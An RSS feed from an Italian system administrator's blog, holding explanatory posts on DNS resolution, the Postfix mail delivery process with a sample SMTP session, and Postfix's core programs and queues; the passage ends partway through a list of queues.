<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Il blog del Poy</title>
	<atom:link href="http://poyblog.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://poyblog.wordpress.com</link>
	<description>Appunti, riflessioni e piccole scoperte di un sistemista</description>
	<lastBuildDate>Tue, 31 May 2011 19:04:04 +0000</lastBuildDate>
	<language>it</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='poyblog.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Il blog del Poy</title>
		<link>http://poyblog.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://poyblog.wordpress.com/osd.xml" title="Il blog del Poy" />
	<atom:link rel='hub' href='http://poyblog.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Postfix &#8211; DNS</title>
		<link>http://poyblog.wordpress.com/2010/11/09/postfix-dns/</link>
		<comments>http://poyblog.wordpress.com/2010/11/09/postfix-dns/#comments</comments>
		<pubDate>Tue, 09 Nov 2010 21:50:34 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[postfix]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[MX record]]></category>
		<category><![CDATA[record]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=373</guid>
		<description><![CDATA[La risoluzione dei nomi, ovvero il processo che permette di scovare un indirizzo IP dato un nome dominio è un aspetto molto importante che riguarda la “vita” di un e-mail server. Sebbene nella fase di configurazione ed installazione del nostro MTA non c&#8217;è alcune bisogno di conoscere come funziona il mondo dei DNS (Domain name [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=373&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:small;">La risoluzione dei nomi, ovvero il processo che permette di scovare un indirizzo IP dato un nome dominio è un aspetto molto importante che riguarda la “vita” di un e-mail server. </span></p>
<p><span style="font-size:small;">Sebbene nella fase di configurazione ed installazione del nostro MTA non c&#8217;è alcune bisogno di conoscere come funziona il mondo dei DNS (Domain name system) , diviene cruciale durante la fase di risoluzione dei problemi quando si comincia a notare che alcuni messaggi sebbene scritti ed indirizzati correttamente non arrivano al destinatario.</span></p>
<p><span style="font-size:small;">Spesse volte infatti il problema sta proprio nell&#8217;incapacità del nostro mail server di trovare l&#8217;host remoto di riferimento o viceversa.</span></p>
<p><span style="font-size:small;"><span id="more-373"></span>I DNS adottano una struttura specifica  ovvero quella di un database gerarchico distribuito. In questo modo che non c&#8217;è necessità che un server mantenga tutti i record esistenti, ma solo alcuni. </span></p>
<p><span style="font-size:small;">I sistemi che mantengono questi database si dicono DNS Server.</span></p>
<p><span style="font-size:small;">Per un client l&#8217;operazione di ottenere l&#8217;IP associato ad un nome è  semplice, basta  interrogare il server DNS a lui più vicino, solitamente quello fornito dal nostro Internet Service Provider, e questo restituirà il corretto indirizzo IP. </span></p>
<p><span style="font-size:small;">Come accennato in precedenza non è detto che il server interrogato abbia la risposta, ma tramite dei protocolli atti alla comunicazione fra DNS server al nostro host verrà consegnata una risposta.</span></p>
<p><span style="font-size:small;">La struttura DNS è una struttura gerarchica dove al livello superiore esistono dei domini relativi ai codici di nazione:</span></p>
<ul>
<li><span style="font-size:small;">.it 	(italia)</span></li>
<li><span style="font-size:small;">.com 	(U.S.A organizzazioni commerciali)</span></li>
<li><span style="font-size:small;">.org 	(U.S.A organizzazioni no-profit)</span></li>
<li><span style="font-size:small;">.nl 	(olanda)</span></li>
<li><span style="font-size:small;">.de 	(germania)</span></li>
</ul>
<p><span style="font-size:small;">e così via.</span></p>
<p><span style="font-size:small;">A loro volta i domini di primo livello sono divisi in più zone, detti anche sotto-domini.</span></p>
<p><span style="font-size:small;">All&#8217;interno di una zona possono esistere host diversi. </span></p>
<p><span style="font-size:small;">La gerarchia non si ferma a tre livelli, ma può scendere teoricamente all&#8217;infinito. </span></p>
<p><span style="font-size:small;">Ecco un esempio di come si sviluppa tale gerarchia:</span></p>
<p><a href="http://poyblog.files.wordpress.com/2010/11/dns-hierarchy.png"><img class="aligncenter size-full wp-image-374" title="DNS hierarchy" src="http://poyblog.files.wordpress.com/2010/11/dns-hierarchy.png?w=480&#038;h=360" alt="" width="480" height="360" /></a><br />
<span style="font-size:small;"> </span><br />
<span style="font-size:small;"> </span></p>
<p><span style="font-size:small;">Descriviamo ora tre possibili scenari che possono verificarsi quando si cerca di risolvere un nome in un IP univoco:</span></p>
<ol>
<li><span style="font-size:small;">Un 	pc che vuole comunicare con un altro nella stessa zona interroga il 	server DNS di zona locale, e questo fornisce la risposta 	direttamente all&#8217;host locale. E&#8217; ovvio che il DNS server dovrebbe 	avere l&#8217;informazione relativa all&#8217;indirizzo IP della macchina 	destinatario.</span></li>
<li><span style="font-size:small;">Nel 	caso in cui un pc presente in una zona volesse comunicare con un pc 	presente in una zona differente, interroga comunque il DNS server 	della propria zona. Il DNS server chiamato in causa realizza che la 	chiamata riguarda un host presente in una zona diversa, interpella 	quindi il DNS server presente ad un livello superiore ed attende una 	risposta da questo DNS “padre”. Così si risale fino alla cima 	nel caso in cui nessun DNS interpellato sia a conoscenza del nome 	cercato. A questo punto il DNS padre scende all&#8217;interno dell&#8217;albero 	fino a raggiungere il DNS responsabile della zona ricercata.  	Rintracciato l&#8217;IP del nome cercato viene restituita la risposta al 	DNS responsabile della zona dell&#8217;host chiamante che la fornisce a 	sua volta all&#8217;host stesso. </span><span style="font-size:small;">Ovviamente 	tutti i server DNS adottano una politica di caching (basata su un 	Time To Live configurabile) degli indirizzi in modo tale che non è 	necessario ad ogni interrogazione attraversare la gerarchia del 	sistema DNS per fornire la risposta corretta. Il problema che ne 	deriva è che non sempre il cambio di IP per un nome host viene 	digerito istantaneamente da tutto il sistema DNS, quindi è 	necessario attendere almeno 24/48 ore</span></li>
<li><span style="font-size:small;">Il 	terzo esempio riguarda proprio il classico metodo di caching dei 	server DNS. Supponiamo che come nell&#8217;esempio precedente il nostro 	host richiede l&#8217;ip di un nome presente in una zona diversa. Viene 	interpellato il DNS server di zona, il quale controlla nella propria 	cache. Se esiste l&#8217;ip dell&#8217;host ricercato ed il TTL non è ancora 	scaduto allora viene ritornato direttamente l&#8217;indirizzo IP dell&#8217;host 	remoto . In caso contrario si risale la gerarchia come è stato 	spiegato nel punto precedente.</span></li>
</ol>
<p><span style="font-size:small;">All&#8217;interno dei DNS server vengono immagazzinati numerose migliaia di record (IP → host) che si distinguono per tipologia, ecco le più importanti:</span></p>
<ul>
<li><span style="font-size:small;">A 	→ Indirizzo Internet</span></li>
<li><span style="font-size:small;">NS 	→ Nome del server </span></li>
<li><span style="font-size:small;">CNAME 	→ nickname o Common Name</span></li>
<li><span style="font-size:small;">MX 	→ Mail exchanger (server di posta)</span></li>
<li><span style="font-size:small;">PTR 	→ puntatore al nome dominio (risoluzione inversa dato l&#8217;ip 	restituisce il nome)</span></li>
<li><span style="font-size:small;">SOA 	→Start of Authority (gestione della zona)</span></li>
</ul>
<p><span style="font-size:small;">Ecco un esempio di record DNS:</span></p>
<p><a href="http://poyblog.files.wordpress.com/2010/11/record-dns.png"><img class="aligncenter size-full wp-image-375" title="Record DNS" src="http://poyblog.files.wordpress.com/2010/11/record-dns.png?w=480&#038;h=280" alt="" width="480" height="280" /></a></p>
<p><span style="font-size:small;">Per concludere l&#8217;articolo vediamo come viene rintracciato un mail server all&#8217;interno della rete internet rispecchiando l&#8217;esempio della ricerca dei nomi trattato in precedenza:</span></p>
<ol>
<li><span style="font-size:small;">Se 	Si cerca un server di posta presente nella stessa zona, si interroga 	il DNS server locale che avrà un record MX con un indirizzo IP 	associato presente nella stessa zona, viene così restituito il 	corretto indirizzo</span></li>
<li><span style="font-size:small;">Si 	cerca un server di posta in una zona diversa da quella locale. Si 	interroga il DNS server locale, il quale interroga il DNS server 	padre, che risale la scala gerarchica e poi scende fino alla zona 	corretta, a questo punto viene rintracciato il record MX di 	riferimento e l&#8217;indirizzo IP viene restituito al DNS server di zona 	dell&#8217;host richiedente</span></li>
<li><span style="font-size:small;">Anche 	i record MX vengono messi in cache per un TTL pre-configurato, è 	quindi possibile che durante la fase di interrogazione di un server 	DNS locale per trovare un server di posta non di zona questo 	risponda immediatamente nel caso in cui tale record sia presente in 	cache.</span></li>
</ol>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/373/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/373/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/373/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=373&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/11/09/postfix-dns/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>

		<media:content url="http://poyblog.files.wordpress.com/2010/11/dns-hierarchy.png" medium="image">
			<media:title type="html">DNS hierarchy</media:title>
		</media:content>

		<media:content url="http://poyblog.files.wordpress.com/2010/11/record-dns.png" medium="image">
			<media:title type="html">Record DNS</media:title>
		</media:content>
	</item>
		<item>
		<title>Postfix &#8211; Il processo di consegna delle e-mail</title>
		<link>http://poyblog.wordpress.com/2010/11/02/postfix-il-processo-di-consegna-delle-e-mail/</link>
		<comments>http://poyblog.wordpress.com/2010/11/02/postfix-il-processo-di-consegna-delle-e-mail/#comments</comments>
		<pubDate>Tue, 02 Nov 2010 20:54:42 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[postfix]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=352</guid>
		<description><![CDATA[In questo articolo cercherò di spiegare come viene consegnato un messaggio da postfix, elencando tutti i programmi coinvolti e le code utilizzate. In sostanza vedremo come si comportano tutti quegli elementi espressi nell&#8217;articolo http://poyblog.wordpress.com/2010/10/31/postfix-servizi/ dal punto di vista pratico. Divideremo questa nostra ispezione in 3 fasi, ovvero analizzeremo: la gestione della ricezione di un messaggio [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=352&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:small;">In questo articolo cercherò di spiegare come viene consegnato un messaggio da postfix, elencando tutti i programmi coinvolti e le code utilizzate. In sostanza vedremo come si comportano tutti quegli  elementi espressi nell&#8217;articolo </span><a href="http://poyblog.wordpress.com/2010/10/31/postfix-servizi/">http://poyblog.wordpress.com/2010/10/31/postfix-servizi/</a> <span style="font-size:small;"> dal punto di vista pratico.</span></p>
<p><span style="font-size:small;">Divideremo questa nostra ispezione in 3 fasi, ovvero analizzeremo:</span></p>
<ul>
<li><span style="font-size:small;">la 	gestione della ricezione di un messaggio</span></li>
<li><span style="font-size:small;">analisi  	e scansione di un messaggio</span></li>
<li><span style="font-size:small;">la 	gestione della consegna di un messaggio</span></li>
</ul>
<p><span id="more-352"></span></p>
<p><span style="font-size:small;">Partiamo con la fase di ricezione, innanzitutto un messaggio può essere ricevuto da un utente locale in due modi:</span></p>
<ul>
<li><span style="font-size:small;">da 	un altro utente locale</span>
<ul>
<li><em><span style="font-size:small;">sendmail:</span></em><span style="font-size:small;"> questo programma invia i messaggi degli utenti locali verso la coda 		Postfix</span></li>
<li><em><span style="font-size:small;">postdrop: </span></em><span style="font-size:small;">questo 		programma viene utilizzato per sicurezza, al fine di non consentire  		l&#8217;accesso alla cartella <em>maildrop</em> a tutti gli utenti. Una 		soluzione infatti è quella di generare un gruppo specifico per i 		messaggi maildrop e lasciare che solo il programma postdrop vi 		possa accedere per consegnarvi i messaggi.</span></li>
</ul>
</li>
</ul>
<p><a href="http://poyblog.files.wordpress.com/2010/10/postdrop1.png"><img class="aligncenter size-full wp-image-353" title="postdrop1" src="http://poyblog.files.wordpress.com/2010/10/postdrop1.png?w=480&#038;h=269" alt="" width="480" height="269" /></a></p>
<ul>
<li><span style="font-size:small;">da 	un utente(host) remoto, via SMTP</span>
<ul>
<li><span style="font-size:small;"><em>smtpd</em></span><span style="font-size:small;">: 		questo programma riceve messaggi tramite il protocollo SMTP  da 		altri host remoti. Ecco un esempio di sessione SMTP (S server C 		client o host remoto)</span></li>
</ul>
</li>
</ul>
<pre><code>                S: 220 smtp.example.com ESMTP Postfix</code>
<code>	   	C: HELO relay.example.org</code>
<code>	  	S: 250 Hello relay.example.org, I am glad to meet you</code>
<code>	   	C: MAIL FROM:&lt;bob@example.org&gt;</code>
<code>		S: 250 Ok</code>
<code>		C: RCPT TO:&lt;alice@example.com&gt;</code>
<code>		S: 250 Ok</code>
<code>		C: RCPT TO:&lt;theboss@example.com&gt;</code>
<code>		S: 250 Ok</code>
<code>		C: DATA</code>
<code>		S: 354 End data with &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt;	</code>
<code>		C: From: "Bob Example" &lt;bob@example.org&gt;</code>
<code>		C: To: "Alice Example" &lt;alice@example.com&gt;</code>
<code>		C: Cc: theboss@example.com</code>
<code>		C: Date: Tue, 15 Jan 2008 16:02:43 -0500</code>
<code>		C: Subject: Test message</code>
<code>		C:	</code>
<code>		C: Hello Alice.</code>
<code>		C: This is a test message with 5 header fields and 4 lines in the message body.</code>
<code>		C: Your friend,</code>
<code>		C: Bob</code>
<code>		C: .</code>
<code>		S: 250 Ok: queued as 12345</code>
<code>		C: QUIT</code>
<code>		S: 221 Bye</code>
<code>		{The server closes the connection}</code></pre>
<ul>
<li>
<ul>
<li><span style="font-size:small;"><em>pickup</em></span><span style="font-size:small;">: 		tale programma monitora la coda </span><span style="font-size:small;"><em>maildrop. </em></span><span style="font-size:small;">Quando 		un messaggio arriva in questa directory il programma </span><span style="font-size:small;"><em>pickup</em></span><span style="font-size:small;"> lo legge e lo invia al programma </span><span style="font-size:small;"><em>cleanup</em></span><span style="font-size:small;"> perchè lo processi.</span></li>
</ul>
</li>
</ul>
<p><span style="font-size:small;">Quando un messaggio è arrivato c&#8217;è una fase in cui questo viene “scansionato” al fine di capire se i suoi header sono in un formato standard e le informazioni ivi contenute sono consone al sistema in questione. Ecco pi programmi che concorrono in questa fase di “analisi” del messaggio:</span></p>
<ul>
<li><em><span style="font-size:small;">cleanup</span></em><span style="font-size:small;">: 	quando un messaggio viene ricevuto dal processo </span><em><span style="font-size:small;">sendmail</span></em><span style="font-size:small;"> o </span><em><span style="font-size:small;">smtpd, 	cleanup</span></em><span style="font-size:small;"> controlla che gli indirizzi espressi nell&#8217;header del messaggio siano 	in un formato consono e che tale e-mail possa essere gestita dal 	sistema. Il formato del messaggio deve essere conforme allo standard 	RFC 822, ecco il link per maggiori informazioni:</span>
<ul>
<li><a href="http://datatracker.ietf.org/doc/rfc822/"><span style="font-size:small;">http://datatracker.ietf.org/doc/rfc822/</span></a></li>
</ul>
<p><span style="font-size:small;">Oltre 	alla conformità allo standard </span><span style="font-size:small;"><em>clenaup</em></span><span style="font-size:small;"> controlla che l&#8217;indirizzo di destinazione sia uno fra quelli 	contemplati all&#8217;interno del sistema</span></p>
<p><span style="font-size:small;">Nel 	caso in cui un messaggio venga “scartato” da </span><span style="font-size:small;"><em>cleanup</em></span><span style="font-size:small;"> allora questo viene messo nella coda </span><span style="font-size:small;"><em>corrupted, </em></span><span style="font-size:small;">mentre 	se tutto è corertto tale e-mail viene inviata alla coda </span><span style="font-size:small;"><em>incoming</em></span></li>
<li><em><span style="font-size:small;">trivial-rewrite: </span></em><span style="font-size:small;">questo 	programma viene utilizzato nel caso in cui un indirizzo presente 	nell&#8217;header non sia in FQDN (Fully Qualified Domain Name), ecco nel 	dettaglio le possibili riscritture:</span>
<ul>
<li><span style="font-size:small;">Rimuove 		ogni informazione di instradamento dall&#8217;header</span></li>
<li><span style="font-size:small;">Converte 		l&#8217;indirizzo in formato UUCP host!user in <a href="mailto:user@host">user@host</a></span></li>
<li><span style="font-size:small;">Converte 		l&#8217;indirizzo in formato UUCP user%domain in <a href="mailto:user@domain">user@domain</a></span></li>
<li><span style="font-size:small;">Converte 		user (ottenedo le informazioni dell&#8217;host locale) in <a href="mailto:user@host">user@host</a></span></li>
<li><span style="font-size:small;">Converte 		<a href="mailto:user@host">user@host</a> in <a href="mailto:user@host.domain">user@host.domain</a></span></li>
<li><span style="font-size:small;">Converte 		<a href="mailto:user@site">user@site</a>. Indirizzo in <a href="mailto:user@site">user@site</a></span></li>
</ul>
<p><span style="font-size:small;">Una 	volta che un messaggio viene riscritto, viene ritornato al programma </span><em><span style="font-size:small;">cleanup</span></em></li>
<li><em><span style="font-size:small;">qmgr: </span></em><span style="font-size:small;">solo 	quando un messaggio è stato riscritto e posizionato nella coda</span><em><span style="font-size:small;"> incoming</span></em><span style="font-size:small;"> allora il programma in questione assicura che tale messaggio venga 	trasferito verso la corretta destinazione, sostanzialmente sposta il 	messaggio dalla coda </span><em><span style="font-size:small;">incoming</span></em><span style="font-size:small;"> verso la coda </span><em><span style="font-size:small;">active</span></em><span style="font-size:small;"> .</span><span style="font-size:small;">A 	questo punto qmgr passa il messaggio a uno dei seguenti programmi in 	base alle informazioni contenute nell&#8217;header del messaggio 	recapitato:</span>
<ul>
<li><em><span style="font-size:small;">local</span></em></li>
<li><em><span style="font-size:small;">smtp</span></em></li>
<li><em><span style="font-size:small;">pipe</span></em></li>
</ul>
</li>
</ul>
<p><span style="font-size:small;">Siamo ora alla fase finale, ovvero la consegna del messaggio. Ecco i programmi che concorrono in questa ultima fase di gestione del nostro sistema:</span></p>
<ul>
<li><em><span style="font-size:small;">local</span></em><span style="font-size:small;">: 	come si può già evincere dal nome tale programma raccoglie i 	messaggi provenienti da</span><em><span style="font-size:small;"> qmgr</span></em><span style="font-size:small;"> e li indirizza al corretto utente locale</span></li>
<li><em><span style="font-size:small;">smtp</span></em><span style="font-size:small;">: 	in questo caso l&#8217;utente non è locale ma remoto, a questo punto si 	utilizza il protocollo SMTP per l&#8217;invio del messaggio attraverso la 	rete</span></li>
<li><em><span style="font-size:small;">pipe</span></em><span style="font-size:small;">: 	questo programma invia il messaggio in questione verso altri sistemi 	di gestione e-mail del sistema locale </span></li>
<li><em><span style="font-size:small;">bounce</span></em><span style="font-size:small;">: 	tale programma gestisce quei messaggi che sono stati scartati 	(termine tecnico </span><em><span style="font-size:small;">rejected 	→ </span></em><span style="font-size:small;">rigettati) 	 per qualsiasi  motivo. Il messaggio viene poi re-indirizzato al 	mittente  con una spiegazione di cosa non è andato a buon fine. 	Infine il messaggio originale viene inserito nella coda </span><em><span style="font-size:small;">deferred </span></em><span style="font-size:small;">che 	verrà poi processata da </span><em><span style="font-size:small;">qmgr</span></em><span style="font-size:small;">, 	cosi come processa la coda </span><em><span style="font-size:small;">incoming</span></em></li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/poyblog.wordpress.com/352/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/poyblog.wordpress.com/352/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/poyblog.wordpress.com/352/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/poyblog.wordpress.com/352/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/poyblog.wordpress.com/352/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/poyblog.wordpress.com/352/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/poyblog.wordpress.com/352/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/poyblog.wordpress.com/352/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/poyblog.wordpress.com/352/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/poyblog.wordpress.com/352/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/poyblog.wordpress.com/352/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/poyblog.wordpress.com/352/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/poyblog.wordpress.com/352/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/poyblog.wordpress.com/352/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=352&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://poyblog.wordpress.com/2010/11/02/postfix-il-processo-di-consegna-delle-e-mail/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e955a57a0d28417ff92ff0bc52707d45?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">poyblog</media:title>
		</media:content>

		<media:content url="http://poyblog.files.wordpress.com/2010/10/postdrop1.png" medium="image">
			<media:title type="html">postdrop1</media:title>
		</media:content>
	</item>
		<item>
		<title>Postfix &#8211; Servizi dell&#8217;applicazione</title>
		<link>http://poyblog.wordpress.com/2010/10/31/postfix-servizi/</link>
		<comments>http://poyblog.wordpress.com/2010/10/31/postfix-servizi/#comments</comments>
		<pubDate>Sun, 31 Oct 2010 14:26:06 +0000</pubDate>
		<dc:creator>poyblog</dc:creator>
				<category><![CDATA[postfix]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[core]]></category>
		<category><![CDATA[utility]]></category>

		<guid isPermaLink="false">http://poyblog.wordpress.com/?p=346</guid>
		<description><![CDATA[Postfix è stato sviluppato da Wietse Venema nel lontano 1990 al fine di fornire un Mail Transfer Agent alternativo per sistemi Unix. Il sito di riferimento e le mailing list di punta riguardanti il software oggetto di questa serie di articoli è http://www.postfix.org Il programma MTA gestisce i messaggi che entrano o escono dal sistema [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=poyblog.wordpress.com&amp;blog=5529260&amp;post=346&amp;subd=poyblog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="font-size:small;">Postfix è stato sviluppato da Wietse Venema nel lontano 1990 al fine di fornire un Mail Transfer Agent alternativo per sistemi Unix.</span></p>
<p><span style="font-size:small;">Il sito di riferimento e le mailing list di punta riguardanti il software oggetto di questa serie di articoli è <a href="http://www.postfix.org/">http://www.postfix.org</a> </span></p>
<p><span style="font-size:small;">Il programma  MTA gestisce i messaggi che entrano o escono dal sistema utilizzando diversi programmi modulari e sistemi di code all&#8217;interno di directory. Ogni programma o modulo processa i messaggi che transitano da una coda all&#8217;altra fino a che arrivano alla loro destinazione finale.</span></p>
<p><span style="font-size:small;"><span id="more-346"></span>Nel caso in cui il sistema dovesse crollare Postfix è in grado di ricordare quale era stato l&#8217;ultimo messaggio all&#8217;interno di una determinata coda ad essere stato gestito con successo, e quindi riparte da quello successivo senza alcuna perdita di dati.</span></p>
<p><span style="font-size:small;">Postfix è stato sviluppato con l&#8217;intenzione di fornire un elevato livello di:</span></p>
<ul>
<li><span style="font-size:small;">sicurezza</span></li>
<li><span style="font-size:small;">performance</span></li>
<li><span style="font-size:small;">affidabilità</span></li>
</ul>
<p><span style="font-size:small;">Il solo software fornito da postfix non è sufficiente per creare un vero e proprio Unix mail Server. Al fine di “comporre” un sistema, postfix si deve interfacciare con altre applicazioni, come:</span></p>
<ul>
<li><span style="font-size:small;">Protocollo TCP/IP (connessioni via LAN o modem PPP) o 	UUCP (Modem dial-Up) , al fine di raggiungere anche gli host remoti. </span></li>
<li><span style="font-size:small;">MUA (Mail User Agent) di cui abbiamo già parlato (POP3 	ed IMAP) che permettono agli utenti di consultare le proprie caselle 	di posta remote</span></li>
</ul>
<p><span style="font-size:small;">Il sistema Postfix è composto da un insieme di directory, adibite alle code dei messaggi e da programmi eseguibili che le gestiscono, eccone un elenco per categoria:</span></p>
<ul>
<li><span style="font-size:small;">Programmi “Core”:</span>
<ul>
<li><span style="font-size:small;">Esiste 		un programma che viene eseguito in background e che rimane sempre 		in esecuzione durante l&#8217;attività di postfix. Questo programma è </span><span style="font-size:small;"><em>master </em></span><span style="font-size:small;">che 		è in grado di generare programmi capaci di gestire e scansionare 		le varie code al fine di permettere un corretto instradamento dei 		messaggi di posta, Gli altri programmi che girano in background 		sono:</span>
<ul>
<li><span style="font-size:small;"><em>qmgr</em></span>
<ul>
<li><span style="font-size:small;">è responsabile del sistema centrale di smistamento 				dei messaggi</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>pickup</em></span><span style="font-size:small;"> </span>
<ul>
<li><span style="font-size:small;">determina quando un messaggio è disponibile per 				essere instradato dal sistema postfix</span></li>
</ul>
</li>
</ul>
<p><span style="font-size:small;">Oltre a questi due  programmi ne esistono altri che 		formano il core di Postfix:</span></p>
<ul>
<li><span style="font-size:small;"><em>bounce</em></span>
<ul>
<li><span style="font-size:small;">invia 				un log alla coda dei messaggi </span><span style="font-size:small;"><em>bounce</em></span><span style="font-size:small;"> e lo re-invia al mittente</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>cleanup</em></span>
<ul>
<li><span style="font-size:small;">analizza 				gli hedaer di un messaggio e lo pone nella coda </span><span style="font-size:small;"><em>incoming</em></span><span style="font-size:small;"> </span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>error</em></span>
<ul>
<li><span style="font-size:small;">processa 				i messaggi provenienti da </span><span style="font-size:small;"><em>qmgr</em></span><span style="font-size:small;"> e ne forza il </span><span style="font-size:small;"><em>bounce</em></span><span style="font-size:small;"> (letteralmente rimbalzo)</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>local</em></span>
<ul>
<li><span style="font-size:small;">Trasporta i messaggi verso gli utenti locali</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>pipe</em></span>
<ul>
<li><span style="font-size:small;">sposta i messaggi dal programma di gestione delle 				code verso programmi esterni</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>postdrop</em></span>
<ul>
<li><span style="font-size:small;">sposta 				un messaggio in arrivo verso la coda </span><span style="font-size:small;"><em>maildrop </em></span><span style="font-size:small;">quando 				questa non è accessibile dagli utenti “normali”</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>showq</em></span>
<ul>
<li><span style="font-size:small;">mostra lo stato delle code Postfix</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>smtp</em></span>
<ul>
<li><span style="font-size:small;">SMTP client che invia i messaggi verso host 				esistenti attraverso il protocollo SMTP</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>smtpd</em></span>
<ul>
<li><span style="font-size:small;">SMTP server che riceve messaggi da host esterni 				utilizzando il protocollo SMTP</span></li>
</ul>
</li>
<li><span style="font-size:small;"><em>trivial-rewrite</em></span>
<ul>
<li><span style="font-size:small;">riceve 				messaggi da </span><span style="font-size:small;"><em>cleanup </em></span><span style="font-size:small;">al 				fine di assicurare che gli indirizzi presenti nell&#8217;header del 				messaggio siano in una forma consentita o meglio standard.</span></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><span style="font-size:small;">Code di messaggi :</span>
<ul>
<li><span style="font-size:small;">Diversamente da altri MTA Postfix utilizza più code 		per la gestione delle e-mail</span></li>
</ul>
</li>
</ul>
<p><span style="font-size:small;"> Nel dettaglio:</span></p>
<ul>
<li><span style="font-size:small;"><em>maildrop</em></span><span style="font-size:small;">: 	accoglie nuovi messaggi  ricevuti dagli utenti locali</span></li>
